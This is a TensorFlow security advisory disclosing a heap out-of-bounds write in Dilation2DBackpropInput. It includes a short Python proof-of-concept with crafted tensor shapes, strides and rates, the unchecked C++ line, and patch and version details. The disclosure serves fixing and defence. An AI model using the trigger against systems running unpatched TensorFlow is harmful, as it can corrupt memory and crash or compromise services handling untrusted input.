Description
Impact
An attacker can write outside the bounds of heap allocated arrays by passing invalid arguments to `tf.raw_ops.Dilation2DBackpropInput`:
```python
import tensorflow as tf
input_tensor = tf.constant([1.1] * 81, shape=[3, 3, 3, 3], dtype=tf.float32)
filter = tf.constant([], shape=[0, 0, 3], dtype=tf.float32)
out_backprop = tf.constant([1.1] * 1062, shape=[3, 2, 59, 3], dtype=tf.float32)
tf.raw_ops.Dilation2DBackpropInput(
input=input_tensor, filter=filter, out_backprop=out_backprop,
strides=[1, 40, 1, 1], rates=[1, 56, 56, 1], padding='VALID')
```
This is because the implementation does not validate before writing to the output array.
```cc
in_backprop(b, h_in_max, w_in_max, d) += out_backprop(b, h_out, w_out, d);
```
The values for `h_out` and `w_out` are guaranteed to be in range for `out_backprop` (as they are loop indices bounded by the size of the array). However, there are no similar guarantees relating `h_in_max`/`w_in_max` and `in_backprop`.
Patches
We have patched the issue in GitHub commit 3f6fe4dfef6f57e768260b48166c27d148f3015f.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
